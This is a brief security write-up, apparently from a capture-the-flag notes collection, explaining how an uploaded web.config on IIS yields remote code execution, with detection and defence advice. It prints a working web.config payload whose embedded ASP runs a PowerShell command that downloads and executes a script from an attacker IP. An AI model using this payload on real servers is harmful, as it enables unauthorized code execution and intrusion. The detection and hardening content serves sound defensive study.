web.config RCE on IIS
On IIS, the web.config file isn't just any data file: it's the server's per-directory configuration file. IIS reads and processes it when serving requests for that folder. And, by design, a web.config can embed classic ASP code (<%...%> blocks) that the server executes. That combination turns a seemingly-innocent upload into remote code execution.
The typical scenario. An app has an uploader that filters extensions (.php, .aspx, .exe blocked) but lets .config through because "it isn't code". If the attacker can upload a web.config to a folder IIS serves, they gain RCE without needing to upload an .aspx.
The web.config trick. The file declares a handler and an ASP parser, and embeds the code inside. The classic proof of concept computes 1 + 2 to confirm execution before moving to a real payload:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*"
modules="IsapiModule"
scriptProcessor="%windir%\system32\inetsrv\asp.dll"
resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<%
Set co = CreateObject("WScript.Shell")
Set cte = co.Exec("cmd /c powershell IEX(New-Object Net.WebClient).downloadString('http://<ip>/ps.ps1')")
Response.write(cte.StdOut.Readall())
%>Requesting /<folder>/web.config runs the code: first the 1+2 (returns 3), then a reverse-shell downloader. It's a particular case of upload-to-execution via bypassing the extension allowlist.
Where it lands. The code runs in the IIS service-account context (an Application Pool Identity), which by default carries SeImpersonatePrivilege. Hence the near-automatic jump to SYSTEM with a Potato-style attack.
How to detect it. The on-disk signature is the appearance of a web.config (or .config) in an upload directory that shouldn't have one (FIM), especially if it contains <% ... %> blocks with WScript.Shell/Exec. In the IIS log, a GET /<upload_folder>/web.config returning executed content (not the expected 404) is the trigger. Confirmation is w3wp.exe spawning cmd/powershell (4688/Sysmon 1 with ppid=w3wp) and an outbound download of the .ps1. The later jump to SYSTEM via Potato is detected like its family (SeImpersonate/Potato).
Defence. Filtering extensions isn't enough: you must validate content and, above all, serve uploaded files from a folder without script-execute permission (handlers accessPolicy without Script). Treat web.config as what it is (executable configuration) and never let a user drop it into a served path.
Machines where it's used
- BountyHackTheBox